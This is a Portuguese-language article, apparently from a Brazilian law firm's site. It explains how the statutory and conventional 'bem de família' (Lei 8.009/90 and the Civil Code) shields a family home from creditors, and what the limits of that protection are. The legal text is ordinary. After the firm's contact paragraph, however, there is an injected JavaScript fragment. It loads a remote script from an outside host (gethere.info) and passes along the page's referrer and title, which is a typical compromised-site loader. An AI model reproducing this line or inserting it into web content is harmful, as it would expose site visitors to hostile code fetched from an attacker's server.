O Bem de Família como Instrumento de Proteção Patrimonial

 

O empresário no Brasil atua em um ambiente extremamente hostil, caracterizado por um sistema tributário complexo, restrições regulatórias paralisantes, regras trabalhistas anacrônicas e rígidas e uma burocracia disseminada. E uma das facetas mais cruéis deste ambiente é a banalização, em diversas esferas, da desconsideração da personalidade jurídica, que coloca em risco o patrimônio pessoal do empresário.

O risco de ter seu patrimônio pessoal afetado pela sorte de seus negócios é considerado pelos empresários como um dos principais obstáculos ao empreendedorismo e componente importante do chamado “risco Brasil”.

Essa distorcida busca pelo patrimônio pessoal do empreendedor atinge seu ápice nas demandas trabalhistas – onde pode-se afirmar sem exagero que a proteção da personalidade jurídica praticamente inexiste –, mas também ocorre em outras esferas (e.g. relações de consumo, tributárias e de falência) mais do que se esperaria em um ambiente que deveria ser voltado ao empreendedorismo e à inovação.

É neste clima hostil que o empreendedor deve buscar, sempre dentro dos limites da lei, a proteção de seu patrimônio pessoal. E a própria legislação prevê alguns institutos protecionistas, dentre os quais destacamos aqui o chamado bem de família.

A Lei nº 8.009/90 prevê ser impenhorável o imóvel residencial utilizado como moradia do próprio casal ou entidade familiar, entendida como qualquer arranjo familiar, inclusive pessoas solteiras, viúvas e separadas. Tem-se, neste caso, o bem de família legal.

A entidade familiar automaticamente goza da impenhorabilidade sobre o imóvel que usar como moradia, além de eventuais plantações, benfeitorias, equipamentos e móveis que guarnecem a casa, respeitadas algumas exceções.

Por visar a garantia do direito constitucional à moradia e a observância do princípio da dignidade da pessoa humana, caso a entidade familiar seja proprietária de mais um imóvel a impenhorabilidade legal será aplicável ao de menor valor, independentemente de ser outro o imóvel utilizado como residência.

Adicionalmente à proteção conferida ao bem de família pela Lei nº 8.009/90, o Código Civil dá às famílias a opção de, mediante escritura pública ou testamento, destinar parte do seu patrimônio para instituir bem de família.

O bem de família previsto no Código Civil é uma garantia adicional ao patrimônio familiar, e não excluí a impenhorabilidade legal, estabelecida na Lei 8.009/90, sendo, ao contrário, complementar, configurando o chamado bem de família convencional.

Diferentemente do que ocorre com o bem de família legal, caso a entidade familiar possua mais de um imóvel, nada impede que seja instituído bem de família convencional sobre o de maior valor, desde que observadas algumas restrições, dentre as quais, a de que o valor do bem não seja superior a um terço do patrimônio líquido da entidade familiar existente ao tempo da instituição.

A legislação estende a proteção dada ao bem de família convencional às suas pertenças e acessórios, e prevê que a proteção poderá ser ampliada também aos valores mobiliários cuja renda seja aplicada na conservação do imóvel e no sustento da família.

Convém ressaltar que o Código Civil prevê alguns requisitos que devem ser observados para a validade do bem de família convencional, dentre os quais o de que o instituidor seja o proprietário do imóvel e a família de fato nele resida e que a escritura ou testamento seja registrado no Cartório de Registro de Imóveis.

Com relação aos valores mobiliários a serem inseridos na proteção de bem de família convencional, a lei dispõe que estes deverão ser individualizados na escritura de instituição do bem de família e seu valor não poderá, à época da instituição, ser superior ao do próprio imóvel.

A esse respeito, vale mencionar que uma vez instituído bem de família convencional, o imóvel objeto desta proteção não só se torna impenhorável por dívidas futuras, mas torna-se, também, inalienável, não podendo ser vendido ou transferido de qualquer forma, ou oferecido em garantia.

O gravame do bem de família convencional pode, contudo, ser afastado judicialmente caso haja requerimento expresso de todos os interessados e seus representantes legais, ouvido o Ministério Público se houver incapazes. Neste caso, a entidade familiar pode solicitar a sub-rogação dos bens que constituem o bem de família em outros.

O bem de família convencional extingue-se com a morte de ambos os cônjuges e a maioridade dos filhos, desde que não sujeitos à curatela. A separação, divórcio ou morte de um dos cônjuges não extingue, por si só, a proteção do bem de família.

Note-se, contudo, que a proteção conferida pelo bem de família, tanto legal quanto convencional, não é absoluta. Ela não abrange dívidas que decorram do próprio imóvel familiar (e.g. IPTU e condomínio) e dívidas com financiamento para a aquisição, construção ou reforma da moradia. Também não protege contra dívidas de natureza alimentar ou decorrentes de dação do imóvel em garantia hipotecária ou fiança em contrato de locação.

Além disso, os tribunais vêm afastando a impenhorabilidade se comprovada fraude à execução, caracterizada pelo esvaziamento patrimonial do devedor já sujeito a execução, com a manutenção exclusivamente do bem de família em seu patrimônio.

Pelo exposto, percebe-se que o bem de família convencional pode ser um importante instrumento de proteção patrimonial, que permita a conservação da residência e o sustento familiar, mesmo contra os abusos a que estão sujeitos aqueles que empreendem no Brasil.

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A equipe de Leoni Siqueira Advogados possui vasta experiência na definição de estratégias de proteção patrimonial e sucessória para empresários e seus familiares. Caso deseje mais informações sobre o assunto, por favor, queira entrar em contato.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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por Flavio Leoni

“Flávio destaca-se por suas sólidas habilidades de negociação e perspectiva negocial.” – Chambers & Partners

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